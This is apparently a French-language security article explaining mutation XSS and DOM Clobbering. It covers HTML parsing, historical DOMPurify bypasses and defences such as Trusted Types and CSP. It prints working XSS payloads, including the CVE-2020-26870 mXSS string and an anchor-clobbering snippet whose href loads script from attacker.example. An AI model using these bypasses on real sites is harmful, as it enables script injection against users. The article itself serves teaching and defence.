Autoriser des utilisateurs à insérer du contenu HTML est une fonctionnalité courante dans les applications web. Éditeurs WYSIWYG, systèmes de commentaires, messageries, CMS ou outils collaboratifs doivent souvent permettre l’utilisation de texte enrichi tout en empêchant l’exécution de code JavaScript arbitraire.
Pour sécuriser ces fonctionnalités, les applications s’appuient généralement sur des sanitizers HTML, chargés de supprimer les balises et attributs susceptibles de conduire à une Cross-Site Scripting (XSS).
Mais filtrer du HTML est plus complexe qu’il n’y paraît. En effet, le code HTML fourni à un navigateur n’est pas directement converti en une représentation immuable. Le parser HTML interprète le document, corrige certaines structures invalides, gère différents namespaces et peut produire un arbre DOM différent du balisage initial.
Dans certaines situations, une donnée considérée comme sûre lors de sa sanitization peut ainsi être interprétée différemment lors d’un parsing ultérieur. C’est notamment le principe exploité par les Mutation XSS, ou mXSS.
Le DOM présente également une autre particularité historique : certains éléments possédant des attributs id ou name peuvent devenir accessibles comme propriétés d’objets JavaScript tels que window, document ou certains éléments <form>. Cette mécanique peut être détournée pour modifier indirectement le comportement d’un script : on parle alors de DOM Clobbering.
Dans cet article, nous détaillons le fonctionnement du DOM et du parser HTML afin de comprendre les mXSS et le DOM Clobbering. Nous analysons également plusieurs bypass historiques de DOMPurify et explorons comment identifier puis prévenir ces vulnérabilités.
Guide complet sur les mXSS et le DOM Clobbering
- Qu'est-ce que le DOM ?
- HTML, SVG et MathML : comprendre les namespaces du DOM
- Pourquoi le navigateur modifie-t-il le HTML ?
- Sanitizer HTML : ce qui est réellement filtré
- innerHTML et le parsing roundtrip
- Qu'est-ce qu'une Mutation XSS ou mXSS ?
- Exemple historique : Mutation XSS et DOMPurify avant 2.0.17
- DOM Clobbering : détourner JavaScript avec une injection HTML
- Cas réel : bypass de DOMPurify 3.1.1 et 3.1.2
- Comment rechercher les mXSS et le DOM Clobbering lors d'un pentest ?
- Comment se protéger des Mutation XSS et du DOM Clobbering ?
- Ne pas interpréter du HTML lorsque ce n'est pas nécessaire
- Utiliser un sanitizer reconnu lorsque du HTML doit réellement être accepté
- Toujours maintenir le sanitizer et son environnement à jour
- Sanitizer au plus près possible du sink final
- Ne jamais modifier le HTML après sanitization
- Réduire au maximum les éléments et attributs autorisés
- Renforcer spécifiquement la protection contre le DOM Clobbering
- Ne pas faire confiance aux propriétés d'une instance DOM dans un composant de sécurité
- Utiliser Trusted Types pour contrôler les sinks HTML
- Utiliser la CSP comme défense en profondeur
- Conclusion
Qu’est-ce que le DOM ?
Le Document Object Model, ou DOM, est la représentation en mémoire d’un document manipulée par le navigateur.
Lorsqu’un navigateur reçoit une page HTML, il ne travaille donc pas directement sur le texte contenu dans le fichier source. Il analyse ce texte et construit progressivement un arbre de nœuds.
Prenons par exemple le fragment suivant :
<div class="profile">
This is my profile pic:
<img src="myimage" alt="Profile picture">
</div>
Le navigateur va notamment créer un objet correspondant à l’élément <div>, un nœud texte, puis un objet HTMLImageElement correspondant à la balise <img>.
Ces objets possèdent différentes propriétés et méthodes permettant au JavaScript de consulter ou modifier dynamiquement le document :
const image = document.querySelector('img');
console.log(image.src);
image.alt = 'New description';
image.remove();
Le point important est donc de distinguer deux choses : le code HTML reçu par le navigateur et l’arbre DOM effectivement construit à partir de ce code.
Ces deux représentations ne sont pas nécessairement identiques. C’est précisément cette différence qui va devenir importante pour comprendre les Mutation XSS (mXSS).
Les attributs HTML peuvent également modifier le comportement du navigateur. En effet, les éléments DOM exposent de nombreuses propriétés provenant directement de leurs attributs HTML.
Une balise <img> possède par exemple un attribut src indiquant la ressource à charger :
<img src="/avatar.png">
Elle peut également posséder des attributs correspondant à des gestionnaires d’événements :
<img src="invalid" onerror="alert(1)">
Dans ce second exemple, si le chargement de l’image échoue, le navigateur interprète la valeur de onerror comme du JavaScript.
C’est pourquoi les event handlers tels que onclick, onload, onerror ou onmouseover sont des vecteurs classiques d’exploitation XSS.
Un sanitizer doit donc être capable de raisonner non seulement sur les balises présentes, mais également sur leurs attributs, leurs valeurs et le contexte dans lequel ils seront interprétés.
HTML, SVG et MathML : comprendre les namespaces du DOM
Une autre particularité importante du DOM est qu’un document HTML peut contenir des éléments issus de plusieurs langages de balisage.
Les trois namespaces particulièrement intéressants dans le cadre des mXSS sont : HTML, SVG et MathML.
Par exemple :
<div>HTML namespace</div>
<svg>
<circle cx="20" cy="20" r="10"></circle>
</svg>
<math>
<mi>x</mi>
</math>
Ces éléments peuvent cohabiter dans un même document, mais ils ne suivent pas toujours les mêmes règles de parsing.
Lorsqu’un document est interprété comme text/html, SVG et MathML ne sont pas simplement transmis à un parser XML indépendant. Le parser HTML possède des règles spécifiques de traitement du foreign content qui lui permettent de basculer entre les namespaces HTML, SVG et MathML. La spécification définit notamment des HTML integration points et des MathML text integration points qui déterminent la manière dont certains tokens doivent être traités.
Cette nuance est importante.
DOMParser n’est pas « le parser utilisé par les navigateurs ». Il s’agit d’une API JavaScript permettant explicitement de parser une chaîne de caractères. Lorsqu’elle est utilisée avec le MIME type text/html, elle déclenche le parser HTML ; avec application/xml ou image/svg+xml, elle utilise les règles XML.
Dans un document HTML classique, le navigateur utilise directement les algorithmes de parsing définis par la spécification HTML.
Prenons un exemple volontairement incorrect :
<svg>
<p>Hello</p>
</svg>
La balise <p> n’est pas attendue à cet emplacement dans du contenu SVG traité au sein d’un document HTML.
Le parser HTML possède des règles de récupération permettant de sortir du contexte SVG et de reconstruire une structure cohérente.
Le DOM obtenu pourra donc être équivalent à :
<svg></svg>
<p>Hello</p>
Le navigateur a modifié la structure du document.
Cette capacité à réparer automatiquement du balisage constitue l’un des mécanismes fondamentaux derrière les Mutation XSS.
Pourquoi le navigateur modifie-t-il le HTML ?
Le parser HTML est conçu pour être extrêmement tolérant.
Sur le web, une quantité considérable de pages contient du HTML incomplet, incorrect ou ambigu. Les navigateurs ne peuvent donc pas simplement arrêter le rendu dès qu’une erreur de syntaxe apparaît.
La spécification HTML définit au contraire de nombreuses règles de récupération permettant de produire un DOM exploitable même à partir d’un document mal formé.
Deux mécanismes jouent notamment un rôle important : le tokenizer et l’algorithme de tree construction.
Fonctionnement simplifié du tokenizer HTML
Le tokenizer transforme progressivement une chaîne de caractères en tokens représentant notamment :
StartTag
EndTag
Character
Comment
DOCTYPE
Il fonctionne comme une machine à états.
Selon les caractères rencontrés, il peut passer par des états tels que :
Data
Tag open
Tag name
Before attribute name
Attribute name
Attribute value
Self-closing start tag
Prenons le payload suivant :
<img/src="x"/onerror=alert(1)>
À première vue, la balise semble incorrectement formée. Pourtant, un navigateur peut l’interpréter comme l’équivalent de :
<img src="x" onerror="alert(1)">
De manière simplifiée, le tokenizer commence par reconnaître img comme nom de balise. Lorsqu’il rencontre /, il tente de traiter la balise comme auto-fermante. Mais le caractère suivant ne correspond pas à ce qui est attendu dans cet état.
Plutôt que d’abandonner le parsing, l’algorithme signale une erreur de parsing et reconsomme les caractères dans un état permettant de reconnaître un nouvel attribut.
src puis onerror deviennent ainsi des attributs valides.
L’absence d’espaces n’empêche donc pas nécessairement l’interprétation du payload :
<img/src=x/onerror=alert(1)>
Ce comportement peut notamment conduire à des contournements de filtres artisanaux ou de protections reposant sur des expressions régulières trop simples.
Le tokenizer ne suffit pas : le Tree Builder construit ensuite le DOM
Une fois les tokens générés, le navigateur doit déterminer où les placer dans l’arbre DOM. C’est le rôle de l’algorithme de tree construction.
Celui-ci maintient notamment une pile des éléments ouverts, appelée stack of open elements, ainsi que différents modes d’insertion.
C’est ici que se produisent de nombreuses corrections structurelles.
Considérons :
<a>First link<a>Second link
Les balises <a> ne peuvent pas simplement être imbriquées de cette manière. Le parser corrige donc la structure et produit typiquement deux éléments adjacents :
<a>First link</a>
<a>Second link</a>
On retrouve des comportements similaires avec les formulaires imbriqués, certains éléments de tableaux ou les transitions entre HTML, SVG et MathML.
L’entrée contrôlée par un utilisateur peut donc subir plusieurs transformations avant d’obtenir sa représentation DOM finale.
Sanitizer HTML : ce qui est réellement filtré
Lorsqu’une application doit autoriser du texte riche, elle ne peut généralement pas encoder tous les caractères HTML, car cela empêcherait l’utilisation de balises comme <strong>, <em>, <a> ou <p>.
Elle doit donc faire la distinction entre HTML autorisé et HTML dangereux.
C’est le rôle d’un sanitizer.
Le fonctionnement exact dépend de la bibliothèque utilisée. Dans le cas d’un sanitizer basé sur le DOM comme DOMPurify, une chaîne HTML est parsée dans un DOM isolé, puis les nœuds et attributs sont parcourus et contrôlés avant restitution du résultat nettoyé. DOMPurify utilise ainsi le parser fourni par l’environnement DOM dans lequel il s’exécute.
Par exemple :
const dirty = `
<p>Hello</p>
<img src="x" onerror="alert(1)">
`;
const clean = DOMPurify.sanitize(dirty);
Le résultat attendu sera proche de :
<p>Hello</p>
<img src="x">
L’attribut onerror a été supprimé.
Cette approche est considérablement plus robuste qu’un filtre basé uniquement sur des recherches de chaînes ou des expressions régulières.
Mais une subtilité apparaît lorsque le DOM contrôlé par le sanitizer est ensuite sérialisé puis parsé une nouvelle fois.
innerHTML et le parsing roundtrip
innerHTML permet de définir le contenu HTML d’un élément :
container.innerHTML = html;
Lorsqu’une chaîne lui est affectée, le navigateur ne l’insère pas comme du simple texte.
Il la parse comme un fragment HTML, construit les nœuds DOM correspondants puis remplace les enfants de l’élément cible.
Pour cette raison, innerHTML est considéré comme un injection sink : une donnée contrôlée par un attaquant transmise directement à cette propriété peut conduire à une XSS.
Avec un sanitizer, l’entrée utilisateur est d’abord parsée et transformée en DOM afin d’être inspectée et nettoyée. Le résultat est ensuite sérialisé en HTML puis, s’il est affecté à `innerHTML`, il est parsé une nouvelle fois par le navigateur pour produire le DOM final.
Il y a donc potentiellement deux parsings du même contenu.
Or une propriété fondamentale du HTML entre ici en jeu : sérialiser un arbre DOM puis reparser la chaîne résultante ne garantit pas nécessairement d’obtenir exactement le même arbre DOM.
C’est cette différence entre les deux représentations qui constitue le terrain de jeu privilégié des Mutation XSS. L’historique de sécurité de DOMPurify recense précisément les écarts entre l’arbre inspecté par le sanitizer et l’arbre finalement construit au niveau du sink comme l’une des principales classes de bypass.
DOMParser peut présenter le même type de risque. L’API :
new DOMParser().parseFromString(html, 'text/html');
construit un document DOM séparé du document principal.
Ce document est essentiellement inerte : les scripts présents dans le markup ne sont pas exécutés et les event handlers ne sont pas déclenchés lors du parsing.
Cela ne signifie cependant pas que le contenu est sûr.
Si les nœuds ainsi produits sont ensuite transférés dans le document actif, certains comportements dangereux peuvent redevenir actifs. Cette API doit donc également être manipulée avec précaution lorsque l’entrée provient d’une source non fiable.
Qu’est-ce qu’une Mutation XSS ou mXSS ?
Une Mutation XSS est une XSS reposant sur une transformation du markup ou du DOM entre le moment où celui-ci est considéré comme sûr et celui où il est finalement interprété par le navigateur.
Dans un scénario classique de mXSS, le payload est d’abord parsé sous une forme qui paraît inoffensive au sanitizer. Après la sanitization, une sérialisation, une transformation ou un nouveau parsing peut toutefois modifier cette structure et faire apparaître une construction dangereuse capable de déclencher une XSS.
La particularité d’une mXSS est donc que le code malveillant n’est pas nécessairement représenté comme du code exécutable au moment où le sanitizer l’analyse.
Une partie du payload peut par exemple être considérée comme simple texte au premier parsing, puis devenir <img src="x" onerror="alert(1)"> après une mutation du DOM.
Le sanitizer n’a alors jamais réellement « vu » l’attribut onerror sous la forme dans laquelle le navigateur l’exécutera.
Par ailleurs, une mXSS n’est pas simplement un contournement de blacklist. Avec un filtre, un attaquant peut tenter de masquer une chaîne connue comme <scr<script>ipt> ou exploiter une différence de casse, d’encodage ou de syntaxe.
Une mXSS exploite quelque chose de plus fondamental : le modèle de parsing lui-même.
Les payloads peuvent notamment tirer parti de différences de namespaces, de règles liées aux formulaires ou tableaux, des éléments raw text, de commentaires, de mutations provoquées par une sérialisation ou encore de limites de profondeur du DOM.
Exemple historique : Mutation XSS et DOMPurify avant 2.0.17
Un excellent exemple de mXSS a été publié en 2020 par Michał Bentkowski. Le payload était le suivant :
<form><math><mtext></form><form><mglyph><style></math><img src onerror=alert(1)>
Cette vulnérabilité correspond à CVE-2020-26870.
Un point doit ici être précisé par rapport à certaines descriptions historiques : la vulnérabilité affectait les versions de DOMPurify antérieures à 2.0.17. La version 2.0.17 a apporté le correctif.
L’intérêt de ce payload est qu’il combine deux particularités différentes du parser : les formulaires mal imbriqués et les transitions entre les namespaces HTML et MathML.
Premier parsing : le payload paraît inoffensif
La première partie est :
<form>
<math>
<mtext>
mtext est un MathML text integration point.
Dans certaines conditions, les éléments qu’il contient peuvent donc être traités selon les règles HTML.
Arrive ensuite :
</form><form>
Grâce aux particularités de gestion du form element pointer, le premier parsing peut produire une structure contenant une configuration de formulaires qui ne pourra pas être reconstruite exactement de la même manière lors du parsing suivant.
Puis viennent :
<mglyph>
<style>
Lors de ce premier parsing, le <form> intermédiaire fait que mglyph n’est pas directement interprété comme un enfant MathML de mtext. Il se retrouve donc dans le namespace HTML.
Par conséquent, <style> est également interprété comme un élément HTML. Or, dans le namespace HTML, le contenu de <style> est traité comme du texte.
La séquence </math><img src onerror=alert(1)> n’est donc pas représentée comme une balise <img> avec un event handler. Pour le sanitizer, il s’agit simplement du contenu texte d’un <style>.
La structure inspectée ne contient donc pas d’attribut onerror dangereux à supprimer.
Sérialisation du DOM
Après sanitization, DOMPurify pouvait produire une chaîne proche de :
<form>
<math>
<mtext>
<form>
<mglyph>
<style>
</math><img src onerror=alert(1)>
</style>
</mglyph>
</form>
</mtext>
</math>
</form>
Cette chaîne contient désormais deux formulaires imbriqués. Or cette structure n’est pas stable au parsing suivant.
Deuxième parsing : changement de namespace
Lorsque cette chaîne est ensuite affectée à innerHTML, le parser rencontre le second <form> alors qu’un formulaire est déjà actif.
Le second élément <form> n’est alors plus créé de la même manière. Par conséquent, <mglyph> devient désormais directement lié au contexte MathML de <mtext>. Ainsi, son namespace change.
Lors du premier parsing, <mglyph> est interprété dans le namespace HTML. Lors du second parsing, il se retrouve au contraire dans le namespace MathML. Ce changement de contexte modifie directement la manière dont le navigateur interprète les éléments qui suivent.
Le <style> placé dessous n’est donc plus un élément HTML style fonctionnant comme une zone de texte brut.
La séquence </math><img src onerror=alert(1)> est alors réinterprétée comme du balisage. </math> fait sortir du contexte MathML puis le navigateur construit un véritable élément HTML :
<img src="" onerror="alert(1)">
Le gestionnaire d’événement peut alors être exécuté.
Le sanitizer avait analysé une structure sûre tandis que le navigateur exécute une structure différente. C’est une Mutation XSS par confusion de namespace.
Pourquoi cet exemple reste important aujourd’hui
Les navigateurs et les sanitizers ont beaucoup évolué depuis 2020.
Plusieurs techniques historiques de mXSS ne sont d’ailleurs plus reproductibles à l’identique sur les navigateurs récents, notamment en raison de changements intervenus dans la sérialisation des attributs HTML.
Les payloads de ce type doivent donc toujours être testés avec les versions exactes du navigateur et du sanitizer ciblés. Des recherches récentes montrent néanmoins que ces mécanismes de parsing restent un domaine de recherche actif.
L’intérêt de cet exemple n’est donc pas de fournir un payload universel, mais de montrer une propriété fondamentale : la représentation contrôlée par le sanitizer et celle utilisée par le sink final peuvent diverger.
DOM Clobbering : détourner JavaScript avec une injection HTML
Les Mutation XSS ne sont pas le seul moyen d’exploiter les particularités du DOM.
Imaginons qu’une application possède une injection HTML mais qu’un sanitizer correctement configuré empêche l’ajout de <script> ou <img onerror="...">.
L’attaquant peut encore être capable d’insérer des éléments inoffensifs tels que :
<a>
<form>
<input>
avec certains attributs comme :
id
name
href
Dans certaines situations, cela suffit pour influencer le comportement du JavaScript de la page. C’est le principe du DOM Clobbering, qui consiste à utiliser une injection HTML afin de manipuler le DOM et modifier indirectement le comportement du JavaScript exécuté par l’application.
Le Named Access du DOM
Le DOM possède plusieurs mécanismes historiques de named access.
Certains éléments HTML portant un attribut id ou name peuvent ainsi apparaître comme des propriétés d’objets du navigateur.
Prenons par exemple : <a id="config"></a>.
Dans certains contextes, le navigateur peut permettre d’accéder à cet élément via window.config sans qu’une variable JavaScript config ait explicitement été déclarée.
Il ne faut donc pas considérer ce comportement comme la possibilité universelle de « créer des variables JavaScript avec du HTML ».
Le phénomène est plus précis. En effet, le navigateur expose certains éléments à travers ses mécanismes de résolution de propriétés nommées. Et ce sont ces propriétés que le DOM Clobbering cherche à détourner.
Exemple de DOM Clobbering
Prenons le code suivant :
const config = window.config || {};
const script = document.createElement('script');
script.src = config.url;
document.body.appendChild(script);
Le développeur part du principe que window.config est soit un véritable objet de configuration, soit undefined. Dans ce dernier cas, {} sera utilisé.
Mais supposons maintenant qu’un attaquant puisse injecter du HTML comme : <a id="config"></a>.
window.config peut alors correspondre à un objet DOM. Et l’expression window.config || {} ne retourne plus {}. Elle retourne l’élément contrôlé par l’attaquant.
Il faut ensuite parvenir à contrôler config.url. C’est là qu’interviennent les collections DOM.
Exploiter les Anchor Collections
Une méthode courante consiste à créer deux ancres possédant le même id :
<a id="config"></a>
<a id="config" name="url" href="https://attacker.example/payload.js"></a>
Selon le navigateur et le contexte, config peut désormais représenter une collection de nœuds. L’attribut name="url" permet alors d’accéder au second élément sous la propriété config.url et la propriété href de l’élément fournit une valeur contrôlée par l’attaquant.
Le gadget JavaScript script.src = config.url; peut alors transformer une simple injection HTML en chargement d’une ressource JavaScript contrôlée par l’attaquant.
Cette technique d’utilisation de plusieurs ancres avec le même id et un name supplémentaire fait partie des méthodes classiques documentées dans les recherches sur le DOM Clobbering.
Le résultat dépend toutefois du navigateur et de l’implémentation exacte du DOM. Un payload de DOM Clobbering doit donc toujours être testé dans le navigateur réellement utilisé par la cible.
Clobbering des propriétés d’un formulaire
Les éléments <form> sont particulièrement intéressants.
Le navigateur permet en effet d’accéder à certains contrôles d’un formulaire à travers leur name ou leur id. Par exemple :
<form id="myForm">
<input name="username">
</form>
permet notamment d’accéder au champ via myForm.username.
Mais ce mécanisme peut entrer en collision avec de véritables propriétés ou méthodes du formulaire. Prenons par exemple :
<form id="myForm">
<input name="submit">
</form>
Dans certaines situations myForm.submit ne désigne plus la méthode native permettant d’envoyer le formulaire. La propriété a été clobberée par l’élément <input>.
Le même principe peut être appliqué à des propriétés utilisées par des mécanismes de sécurité. Par exemple :
<form onclick="alert(1)">
<input id="attributes">
</form>
Si un sanitizer suppose que element.attributes est toujours un objet NamedNodeMap, l’élément <input id="attributes"> peut perturber cette hypothèse.
Le filtre risque alors de ne plus parcourir les véritables attributs du formulaire et de laisser passer onclick.
C’est un enseignement important : une propriété native d’un objet DOM ne doit pas nécessairement être considérée comme fiable lorsqu’elle est lue directement sur une instance contrôlée par un attaquant.
DOM Clobbering et CSP
Une Content Security Policy restrictive peut empêcher de nombreuses techniques XSS classiques, notamment l’exécution de JavaScript inline. Elle n’empêche cependant pas le DOM Clobbering lui-même.
Les éléments HTML utilisés pour clobber une propriété ne contiennent pas nécessairement de JavaScript. Un attaquant peut donc tenter de détourner un gadget déjà présent dans les scripts autorisés par la CSP.
Par exemple :
script.src = config.url;
Si la CSP autorise la destination finalement utilisée, ou si le gadget permet d’atteindre un autre sink compatible avec la politique, le DOM Clobbering peut devenir une étape dans une chaîne de contournement.
La CSP doit donc être considérée comme une défense en profondeur, et non comme une solution au DOM Clobbering.
Second-order DOM Clobbering
Une propriété peut également devenir clobberée après une première transformation du DOM. On parle alors de second-order DOM Clobbering.
Prenons par exemple :
<form id="user "></form>
<input form="user" name="config">
Initialement, l’identifiant du formulaire est user avec un espace final. L’attribut form="user" ne désigne donc pas nécessairement ce formulaire.
Mais supposons qu’un traitement ultérieur normalise l’identifiant :
form.id = form.id.trim();
L’identifiant devient "user". L’association entre l’input et le formulaire change alors.
Une structure qui n’était pas clobberée au moment d’une première vérification peut donc le devenir après modification de ses attributs. C’est exactement le type de problème qui a joué un rôle dans plusieurs bypass modernes de DOMPurify.
Cas réel : bypass de DOMPurify 3.1.1 et 3.1.2
DOMPurify 3.1.1 : contourner un contrôle de profondeur par DOM Clobbering
En 2024, plusieurs recherches ont mis en évidence une succession de bypass particulièrement intéressante de DOMPurify.
Un premier bypass de DOMPurify 3.1.0 reposait notamment sur des structures DOM extrêmement profondes et des phénomènes de node flattening.
Pour limiter cette classe d’attaque, DOMPurify 3.1.1 a introduit un compteur interne de profondeur.
De manière simplifiée, chaque nœud recevait une valeur __depth calculée à partir de celle de son parent.
La logique devait permettre de supprimer les structures devenant anormalement profondes. Mais une subtilité apparaissait lors de la récupération du parent.
Une logique équivalente à currentNode.parentNode.__depth suppose que currentNode.parentNode correspond nécessairement à la propriété DOM native.
Or certaines propriétés d’un <form> peuvent être clobberées par ses enfants. Par exemple :
<div id="parent">
<form id="f">
<input name="parentNode">
</form>
</div>
peut conduire le code manipulant directement f.parentNode à observer une valeur inattendue dans les contextes vulnérables.
Le compteur de profondeur pouvait alors être réinitialisé ou faussé, permettant de contourner le mécanisme introduit par DOMPurify.
Cette technique a permis de construire un bypass des versions jusqu’à 3.1.1 dans les environnements concernés.
Le correctif suivant a notamment consisté à ne plus faire confiance directement à la propriété récupérée sur l’instance mais à utiliser un mécanisme plus sûr pour accéder au véritable parent DOM.
C’est une règle générale importante pour les sanitizers : les propriétés de sécurité d’un nœud DOM doivent être obtenues à partir de primitives fiables, et non à travers des propriétés d’instance susceptibles d’être affectées par le named access.
DOMPurify 3.1.2 : Second-order DOM Clobbering
DOMPurify 3.1.2 a renforcé ces protections. Mais une nouvelle subtilité subsistait dans l’ordre des traitements.
De manière simplifiée, le sanitizer effectuait d’abord certains contrôles de DOM Clobbering sur un élément, puis procédait ensuite à la sanitization et à la normalisation de ses attributs.
Prenons un formulaire avec <form id="x "></form> et un élément <input form="x" name="__depth">.
Au moment du contrôle initial, id="x " et form="x" ne correspondent pas. Le scénario de clobbering n’est donc pas encore constitué.
Mais si le sanitizer normalise ensuite "x " en "x" l’association avec l’input apparaît. Le DOM est devenu clobberé après le contrôle censé détecter le clobbering. C’est un problème de second ordre.
Les recherches de Kévin Mizu ont montré comment cette mécanique pouvait notamment être combinée avec le compteur __depth et d’autres mutations HTML pour construire un bypass des versions jusqu’à DOMPurify 3.1.2.
La leçon dépasse largement DOMPurify. Une donnée ou une structure considérée comme sûre à un instant donné peut ainsi devenir dangereuse après une normalisation, une réécriture, une sérialisation, une mutation d’attribut, un changement de parent ou un nouveau parsing.
Un contrôle de sécurité doit donc raisonner sur la représentation effectivement utilisée après les transformations, pas uniquement sur son état initial.
Comment rechercher les mXSS et le DOM Clobbering lors d’un pentest ?
Ces vulnérabilités sont rarement identifiables en envoyant uniquement quelques payloads XSS standards.
Il est préférable de commencer par reconstruire le flux complet de la donnée. La première question est de déterminer où l’entrée est récupérée :
location.search
location.hash
postMessage
API
WebSocket
contenu stocké
éditeur WYSIWYG
Il faut ensuite identifier tous les traitements appliqués avant son insertion : parsing, Markdown, templates, remplacement de mentions, transformation d’URLs, sanitization, sérialisation, traitement par une bibliothèque tierce, etc.
Le point essentiel consiste à localiser le dernier sink. Par exemple element.innerHTML = value; ou element.insertAdjacentHTML('beforeend', value);.
Une fois ce flux reconstitué, l’objectif est de suivre la donnée depuis sa source jusqu’au sink HTML final, en identifiant chaque transformation intermédiaire : parsing, sanitization, sérialisation, traitement par une bibliothèque tierce ou réécriture applicative. Une étape réalisée après le sanitizer est particulièrement importante à analyser, car elle peut modifier la structure qui avait été considérée comme sûre.
Pour les mXSS, il faut comparer le DOM avant et après chaque parsing, notamment :
element.namespaceURI
element.nodeName
element.parentNode
element.outerHTML
Des outils comme DOM Explorer sont particulièrement utiles pour visualiser les namespaces et les mutations obtenues.
Pour le DOM Clobbering, la recherche doit plutôt porter sur le JavaScript de l’application et les gadgets consommant des propriétés potentiellement contrôlables.
Enfin, les tests doivent être réalisés dans de vrais navigateurs.
Certaines mécaniques de DOM Clobbering ne sont pas reproduites de manière identique par les implémentations DOM utilisées côté Node.js. La documentation de DOMPurify souligne notamment que certains comportements de formulaire nécessaires aux attaques de clobbering ne sont pas reproduits par jsdom, ce qui peut donner un faux sentiment de sécurité lorsque les tests sont exécutés exclusivement côté serveur.
Comment se protéger des Mutation XSS et du DOM Clobbering ?
Il n’existe pas une remédiation unique applicable à toutes ces vulnérabilités.
La stratégie doit surtout limiter les situations dans lesquelles une donnée non fiable peut être interprétée comme du HTML et réduire le nombre de transformations effectuées entre la sanitization et son utilisation finale.
Ne pas interpréter du HTML lorsque ce n’est pas nécessaire
La protection la plus simple reste de ne pas utiliser un sink HTML lorsqu’on souhaite seulement afficher du texte. Ainsi element.textContent = userInput; est largement préférable à element.innerHTML = userInput; si aucune mise en forme HTML n’est requise.
textContentcrée du texte.innerHTMLdéclenche un parser.
Cette différence élimine à elle seule une grande partie de la surface d’attaque.
Utiliser un sanitizer reconnu lorsque du HTML doit réellement être accepté
Écrire son propre sanitizer HTML est extrêmement difficile.
Le parser HTML possède de très nombreuses règles particulières et de nombreux comportements liés aux namespaces, aux modes d’insertion et à la correction des erreurs.
Il est donc préférable de s’appuyer sur des bibliothèques maintenues et largement testées telles que DOMPurify côté JavaScript, Symfony HtmlSanitizer dans l’écosystème PHP ou sanitize-html dans certaines architectures Node.js.
Cette recommandation n’implique pas que ces bibliothèques soient impossibles à contourner.
Elle signifie qu’une bibliothèque spécialisée, continuellement testée contre les techniques de recherche modernes, constitue une base bien plus robuste qu’un filtre développé spécifiquement pour une application.
Toujours maintenir le sanitizer et son environnement à jour
Les bypass décrits dans cet article montrent qu’un sanitizer constitue lui-même un composant de sécurité critique.
Il doit donc être traité comme une dépendance sensible.
DOMPurify continue régulièrement d’intégrer des protections concernant les mXSS, les namespaces et le DOM Clobbering.
La mise à jour doit également concerner l’environnement DOM.
Lorsque DOMPurify est exécuté côté serveur sous Node.js, la documentation officielle recommande explicitement l’utilisation d’une version récente de jsdom, car une vulnérabilité du parser DOM sous-jacent peut compromettre les garanties du sanitizer lui-même.
Sanitizer au plus près possible du sink final
Le contrôle de sécurité doit être appliqué à la représentation qui sera effectivement interprétée.
Le principe important n’est donc pas nécessairement « sanitize côté client » ou « sanitize côté serveur », mais plutôt : sanitizer dans un contexte cohérent avec le renderer final et aussi tard que possible avant l’insertion.
Dans une application complexe, il peut être pertinent de conserver une représentation interne du contenu puis de la sanitizer au moment du rendu.
Si une sanitization côté serveur repose sur un DOM émulé, le parser et sa version deviennent eux aussi des composants de confiance.
Ne jamais modifier le HTML après sanitization
C’est probablement la règle la plus importante concernant les mXSS. Prenons par exemple :
let clean = DOMPurify.sanitize(userInput);
clean = addMentions(clean);
container.innerHTML = clean;
Même si DOMPurify.sanitize() a produit un contenu sûr, addMentions() peut accidentellement recréer une structure dangereuse.
Prenons par exemple une logique ajoutant des balises autour d’une mention :
<b id="user@domain">
Si la transformation concatène naïvement une donnée non fiable dans cet attribut, elle peut permettre de sortir du contexte prévu et créer une nouvelle balise dangereuse.
La sanitization effectuée auparavant ne protège plus cette nouvelle structure.
Le principe à retenir est simple : toutes les transformations fonctionnelles doivent être réalisées avant la sanitization, qui doit intervenir aussi tard que possible, juste avant l’insertion. À l’inverse, modifier à nouveau le HTML après sa sanitization peut recréer une structure dangereuse et annuler les garanties apportées par le sanitizer.
Réduire au maximum les éléments et attributs autorisés
Plus le langage HTML autorisé est riche, plus la surface d’attaque est importante. Si une fonctionnalité nécessite uniquement :
<strong>
<em>
<p>
<br>
<a>
il n’est pas nécessaire d’autoriser MathML, SVG, les formulaires ou une grande quantité d’attributs.
Avec DOMPurify, par exemple, une application qui n’a besoin que de HTML peut utiliser un profil limité :
const clean = DOMPurify.sanitize(dirty, {
USE_PROFILES: {
html: true
}
});
DOMPurify autorise par défaut du contenu HTML, SVG et MathML ; restreindre le profil à ce qui est réellement nécessaire réduit donc les possibilités de jouer avec les transitions de namespaces.
Le même principe doit être appliqué aux attributs. Un éditeur n’ayant besoin que de :
href
title
class
ne devrait pas accepter arbitrairement tous les attributs disponibles.
Renforcer spécifiquement la protection contre le DOM Clobbering
DOMPurify dispose de protections spécifiques contre cette classe d’attaque. Par exemple, SANITIZE_DOM est activé par défaut.
Pour les contextes nécessitant une isolation plus stricte des propriétés nommées, l’option :
DOMPurify.sanitize(dirty, {
SANITIZE_NAMED_PROPS: true
});
préfixe notamment les valeurs de id et name avec user-content- afin de limiter les collisions avec les propriétés JavaScript.
Il reste toutefois indispensable de sécuriser également le code JavaScript de l’application. Un pattern comme const settings = window.settings || {}; doit être évité lorsque settings peut être influencé par le DOM.
Il est préférable de conserver les configurations dans des variables lexicales explicitement définies et de valider les types attendus avant de transmettre une valeur à un sink sensible.
Par exemple, avant script.src = config.url; le code doit avoir des garanties beaucoup plus fortes que la simple existence de config.url.
Ne pas faire confiance aux propriétés d’une instance DOM dans un composant de sécurité
Cette recommandation concerne principalement les développeurs de sanitizers ou de composants manipulant du DOM non fiable.
Du code comme :
node.attributes
node.parentNode
node.nodeName
node.removeChild
peut devenir dangereux si sa logique suppose que ces propriétés ne pourront jamais être influencées par du named access.
Les implémentations robustes utilisent des références sûres vers les getters et méthodes natifs afin d’éviter qu’une propriété présente directement sur l’objet contrôlé par l’attaquant ne prenne le dessus.
C’est notamment le type de durcissement progressivement appliqué dans DOMPurify.
Utiliser Trusted Types pour contrôler les sinks HTML
Trusted Types constitue une défense complémentaire particulièrement intéressante contre les DOM XSS.
Lorsqu’une Content Security Policy impose Trusted Types, certains sinks dangereux ne peuvent plus recevoir directement une chaîne JavaScript arbitraire.
On peut par exemple créer une politique centralisant la sanitization :
const policy = trustedTypes.createPolicy('app-html', {
createHTML(input) {
return DOMPurify.sanitize(input);
}
});
container.innerHTML = policy.createHTML(userInput);
L’objectif est de transformer container.innerHTML = userInput; en une opération interdite par défaut.
Seuls les objets TrustedHTML créés par une politique explicitement autorisée peuvent être transmis au sink.
DOMPurify possède un support natif de Trusted Types et peut également retourner un objet TrustedHTML lorsqu’il est configuré pour cela.
